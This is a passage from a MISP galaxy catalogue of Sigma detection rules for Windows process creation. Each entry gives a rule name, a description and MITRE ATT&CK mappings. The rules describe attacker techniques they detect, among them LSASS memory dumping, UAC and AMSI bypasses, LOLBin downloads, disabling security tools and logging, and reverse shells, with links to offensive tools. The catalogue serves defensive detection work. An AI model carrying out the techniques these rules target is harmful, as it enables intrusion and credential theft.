Process Proxy Execution Via Squirrel.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15640. Table References

Links
http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_squirrel_proxy_execution.yml

File Download Via Bitsadmin To A Suspicious Target Folder

Detects usage of bitsadmin downloading a file to a suspicious target folder

The tag is: *misp-galaxy:sigma-rules="File Download Via Bitsadmin To A Suspicious Target Folder"*

View relationships graph

File Download Via Bitsadmin To A Suspicious Target Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15641. Table References

Links
https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
https://isc.sans.edu/diary/22264
https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml

Service Registry Key Deleted Via Reg.EXE

Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remove AV software services

The tag is: *misp-galaxy:sigma-rules="Service Registry Key Deleted Via Reg.EXE"*

View relationships graph

Service Registry Key Deleted Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15642. Table References

Links
https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml

Suspicious Userinit Child Process

Detects a suspicious child process of userinit

The tag is: *misp-galaxy:sigma-rules="Suspicious Userinit Child Process"*

View relationships graph

Suspicious Userinit Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 15643. Table References

Links
https://twitter.com/SBousseaden/status/1139811587760562176
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml

Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Detects attackers using tooling with bad opsec defaults. E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run. One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.

The tag is: *misp-galaxy:sigma-rules="Bad Opsec Defaults Sacrificial Processes With Improper Arguments"*

View relationships graph

Bad Opsec Defaults Sacrificial Processes With Improper Arguments has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15644. Table References

Links
https://twitter.com/CyberRaiju/status/1251492025678983169
https://learn.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool

https://www.cobaltstrike.com/help-opsec
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32
https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32
https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bad_opsec_sacrificial_processes.yml

HackTool - GMER Rootkit Detector and Remover Execution

Detects the execution GMER tool based on image and hash fields.

The tag is: *misp-galaxy:sigma-rules="HackTool - GMER Rootkit Detector and Remover Execution"*

Table 15645. Table References

Links
http://www.gmer.net/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_gmer.yml

Suspicious Program Names

Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools

The tag is: *misp-galaxy:sigma-rules="Suspicious Program Names"*

View relationships graph

Suspicious Program Names has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15646. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml

Suspicious High IntegrityLevel Conhost Legacy Option

ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.

The tag is: *misp-galaxy:sigma-rules="Suspicious High IntegrityLevel Conhost Legacy Option"*

View relationships graph

Suspicious High IntegrityLevel Conhost Legacy Option has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15647. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control
https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29
https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_legacy_option.yml

Disable Windows IIS HTTP Logging

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)

The tag is: *misp-galaxy:sigma-rules="Disable Windows IIS HTTP Logging"*

View relationships graph

Disable Windows IIS HTTP Logging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 15648. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_http_logging.yml

Potentially Suspicious Event Viewer Child Process

Detects uncommon or suspicious child processes of "eventvwr.exe" which might indicate a UAC bypass attempt

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Event Viewer Child Process"*

View relationships graph

Potentially Suspicious Event Viewer Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15649. Table References

Links
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_eventvwr_susp_child_process.yml

Indirect Command Execution By Program Compatibility Wizard

Detect indirect command execution via Program Compatibility Assistant pcwrun.exe

The tag is: *misp-galaxy:sigma-rules="Indirect Command Execution By Program Compatibility Wizard"*

View relationships graph

Indirect Command Execution By Program Compatibility Wizard has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15650. Table References

Links
https://twitter.com/pabraeken/status/991335019833708544
https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml

Invoke-Obfuscation CLIP+ Launcher

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher"*

View relationships graph

Invoke-Obfuscation CLIP+ Launcher has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15651. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_clip.yml

Suspicious Execution Location Of Wermgr.EXE

Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution Location Of Wermgr.EXE"*

Table 15652. Table References

Links
https://github.com/binderlabs/DirCreate2System
https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html
https://www.echotrail.io/insights/search/wermgr.exe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wermgr_susp_exec_location.yml

Suspicious File Download From File Sharing Domain Via Curl.EXE

Detects potentially suspicious file download from file sharing domains using curl.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious File Download From File Sharing Domain Via Curl.EXE"*

Table 15653. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_susp_file_sharing_domains.yml

HackTool - Dumpert Process Dumper Execution

Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory

The tag is: *misp-galaxy:sigma-rules="HackTool - Dumpert Process Dumper Execution"*

View relationships graph

HackTool - Dumpert Process Dumper Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15654. Table References

Links
https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/
https://github.com/outflanknl/Dumpert
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dumpert.yml

HackTool - Hydra Password Bruteforce Execution

Detects command line parameters used by Hydra password guessing hack tool

The tag is: *misp-galaxy:sigma-rules="HackTool - Hydra Password Bruteforce Execution"*

View relationships graph

HackTool - Hydra Password Bruteforce Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

Table 15655. Table References

Links
https://github.com/vanhauser-thc/thc-hydra

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_hydra.yml

Potential Dropper Script Execution Via WScript/CScript

Detects wscript/cscript executions of scripts located in user directories

The tag is: *misp-galaxy:sigma-rules="Potential Dropper Script Execution Via WScript/CScript"*

View relationships graph

Potential Dropper Script Execution Via WScript/CScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 15656. Table References

Links
https://redcanary.com/blog/gootloader/
https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_dropper.yml

InfDefaultInstall.exe .inf Execution

Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.

The tag is: *misp-galaxy:sigma-rules="InfDefaultInstall.exe .inf Execution"*

View relationships graph

InfDefaultInstall.exe .inf Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15657. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall_execute_sct_scripts.yml

Suspicious ShellExec_RunDLL Call Via Ordinal

Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands. Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine.

The tag is: *misp-galaxy:sigma-rules="Suspicious ShellExec_RunDLL Call Via Ordinal"*

View relationships graph

Suspicious ShellExec_RunDLL Call Via Ordinal has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15658. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://strontic.github.io/xcyclopedia/library/shell32.dll-65DA072F25DE83D9F83653E3FEA3644D.html
https://redcanary.com/blog/raspberry-robin/
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_shellexec_ordinal_execution.yml

ImagingDevices Unusual Parent/Child Processes

Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity

The tag is: *misp-galaxy:sigma-rules="ImagingDevices Unusual Parent/Child Processes"*

Table 15659. Table References

Links
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imagingdevices_unusual_parents.yml

New Network Trace Capture Started Via Netsh.EXE

Detects the execution of netsh with the "trace" flag in order to start a network capture

The tag is: *misp-galaxy:sigma-rules="New Network Trace Capture Started Via Netsh.EXE"*

View relationships graph

New Network Trace Capture Started Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 15660. Table References

Links
https://klausjochem.me/2016/02/03/netsh-the-cyber-attackers-tool-of-choice/
https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_packet_capture.yml

Ruby Inline Command Execution

Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.

The tag is: *misp-galaxy:sigma-rules="Ruby Inline Command Execution"*

View relationships graph

Ruby Inline Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15661. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ruby_inline_command_execution.yml

Suspicious RASdial Activity

Detects suspicious process related to rasdial.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious RASdial Activity"*

View relationships graph

Suspicious RASdial Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15662. Table References

Links
https://twitter.com/subTee/status/891298217907830785
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rasdial_execution.yml

Execution of Suspicious File Type Extension

Detects whether the image specified in a process creation event doesn't refer to an ".exe" (or other known executable extension) file. This can be caused by process ghosting or other unorthodox methods to start a process. This rule might require some initial baselining to align with some third party tooling in the user environment.

The tag is: *misp-galaxy:sigma-rules="Execution of Suspicious File Type Extension"*

Table 15663. Table References

Links
https://pentestlaboratories.com/2021/12/08/process-ghosting/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml

Mstsc.EXE Execution With Local RDP File

Detects potential RDP connection via Mstsc using a local ".rdp" file

The tag is: *misp-galaxy:sigma-rules="Mstsc.EXE Execution With Local RDP File"*

View relationships graph

Mstsc.EXE Execution With Local RDP File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15664. Table References

Links
https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/

https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file.yml

HackTool - Doppelanger LSASS Dumper Execution

Detects the execution of the Doppelanger hacktool which is used to dump LSASS memory via process cloning while evading common detection methods

The tag is: *misp-galaxy:sigma-rules="HackTool - Doppelanger LSASS Dumper Execution"*

View relationships graph

HackTool - Doppelanger LSASS Dumper Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15665. Table References

Links
https://labs.yarix.com/2025/06/doppelganger-an-advanced-lsass-dumper-with-process-cloning/
https://github.com/vari-sh/RedTeamGrimoire/tree/668e0357072546065729ad623f8c02f7be21bb08/Doppelganger
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_doppelganger.yml

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI

Detects command line containing reference to the "::$index_allocation" stream, which can be used as a technique to prevent access to folders or files from tooling such as "explorer.exe" or "powershell.exe"

The tag is: *misp-galaxy:sigma-rules="Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI"*

View relationships graph

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 15666. Table References

Links
https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/
https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/
https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation
https://twitter.com/pfiatde/status/1681977680688738305
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hidden_dir_index_allocation.yml

Data Copied To Clipboard Via Clip.EXE

Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications.

The tag is: *misp-galaxy:sigma-rules="Data Copied To Clipboard Via Clip.EXE"*

View relationships graph

Data Copied To Clipboard Via Clip.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 15667. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip_execution.yml

Suspicious Diantz Download and Compress Into a CAB File

Download and compress a remote file and store it in a cab file on local machine.

The tag is: *misp-galaxy:sigma-rules="Suspicious Diantz Download and Compress Into a CAB File"*

View relationships graph

Suspicious Diantz Download and Compress Into a CAB File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15668. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Diantz/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml

Windows Defender Context Menu Removed

Detects the use of reg.exe or PowerShell to delete the Windows Defender context menu handler registry keys. This action removes the "Scan with Microsoft Defender" option from the right-click menu for files, directories, and drives. Attackers may use this technique to hinder manual, on-demand scans and reduce the visibility of the security product.

The tag is: *misp-galaxy:sigma-rules="Windows Defender Context Menu Removed"*

View relationships graph

Windows Defender Context Menu Removed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15669. Table References

Links
https://winaero.com/how-to-delete-scan-with-windows-defender-from-context-menu-in-windows-10/
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
https://research.splunk.com/endpoint/395ed5fe-ad13-4366-9405-a228427bdd91/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_defender_remove_context_menu.yml

RegAsm.EXE Execution Without CommandLine Flags or Files

Detects the execution of "RegAsm.exe" without a commandline flag or file, which might indicate potential process injection activity. Usually "RegAsm.exe" should point to a dedicated DLL file or call the help with the "/?" flag.

The tag is: *misp-galaxy:sigma-rules="RegAsm.EXE Execution Without CommandLine Flags or Files"*

View relationships graph

RegAsm.EXE Execution Without CommandLine Flags or Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"

Table 15670. Table References

Links
https://app.any.run/tasks/ea944b89-69d8-49c8-ac1f-5c76ad300db2
https://www.zscaler.fr/blogs/security-research/threat-actors-exploit-cve-2017-11882-deliver-agent-tesla
https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/agent-teslas-unique-approach-vbs-and-steganography-for-delivery-and-intrusion/
https://www.joesandbox.com/analysis/1467354/0/html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regasm_no_flag_or_dll_execution.yml

File Download with Headless Browser

Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files

The tag is: *misp-galaxy:sigma-rules="File Download with Headless Browser"*

View relationships graph

File Download with Headless Browser has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 15671. Table References

Links
https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
https://twitter.com/mrd0x/status/1478234484881436672?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml

HackTool - SysmonEOP Execution

Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120

The tag is: *misp-galaxy:sigma-rules="HackTool - SysmonEOP Execution"*

View relationships graph

HackTool - SysmonEOP Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 15672. Table References

Links
https://github.com/Wh04m1001/SysmonEoP
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sysmoneop.yml

Suspicious Vsls-Agent Command With AgentExtensionPath Load

Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter

The tag is: *misp-galaxy:sigma-rules="Suspicious Vsls-Agent Command With AgentExtensionPath Load"*

View relationships graph

Suspicious Vsls-Agent Command With AgentExtensionPath Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15673. Table References

Links
https://twitter.com/bohops/status/1583916360404729857
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vslsagent_agentextensionpath_load.yml

Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a

specific script that's located in a potentially suspicious location to run for a specific VM state

The tag is: *misp-galaxy:sigma-rules="Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script"*

View relationships graph

Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15674. Table References

Links
https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_toolbox_cmd_persistence_susp.yml

Bypass UAC via WSReset.exe

Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.

The tag is: *misp-galaxy:sigma-rules="Bypass UAC via WSReset.exe"*

View relationships graph

Bypass UAC via WSReset.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15675. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html
https://lolbas-project.github.io/lolbas/Binaries/Wsreset/
https://twitter.com/ReaQta/status/1222548288731217921
https://www.activecyber.us/activelabs/windows-uac-bypass
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml

Compress Data and Lock With Password for Exfiltration With WINZIP

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party

utilities

The tag is: *misp-galaxy:sigma-rules="Compress Data and Lock With Password for Exfiltration With WINZIP"*

View relationships graph

Compress Data and Lock With Password for Exfiltration With WINZIP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 15676. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winzip_password_compression.yml

Suspicious Usage Of ShellExec_RunDLL

Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack

The tag is: *misp-galaxy:sigma-rules="Suspicious Usage Of ShellExec_RunDLL"*

Table 15677. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://redcanary.com/blog/raspberry-robin/
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_shellexec_execution.yml

Run PowerShell Script from ADS

Detects PowerShell script execution from Alternate Data Stream (ADS)

The tag is: *misp-galaxy:sigma-rules="Run PowerShell Script from ADS"*

View relationships graph

Run PowerShell Script from ADS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-

language:likelihood-probability="almost-certain"

Table 15678. Table References

Links
https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_run_script_from_ads.yml

Changing Existing Service ImagePath Value Via Reg.EXE

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services

The tag is: *misp-galaxy:sigma-rules="Changing Existing Service ImagePath Value Via Reg.EXE"*

View relationships graph

Changing Existing Service ImagePath Value Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 15679. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml

Potential AMSI Bypass Using NULL Bits

Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities

The tag is: *misp-galaxy:sigma-rules="Potential AMSI Bypass Using NULL Bits"*

View relationships graph

Potential AMSI Bypass Using NULL Bits has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with

estimative-language:likelihood-probability="almost-certain"

Table 15680. Table References

Links
https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_null_bits_bypass.yml

UAC Bypass Using Event Viewer RecentViews

Detects the pattern of UAC Bypass using Event Viewer RecentViews

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Event Viewer RecentViews"*

Table 15681. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute
https://twitter.com/orange_8361/status/1518970259868626944
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr_recentviews.yml

Renamed NirCmd.EXE Execution

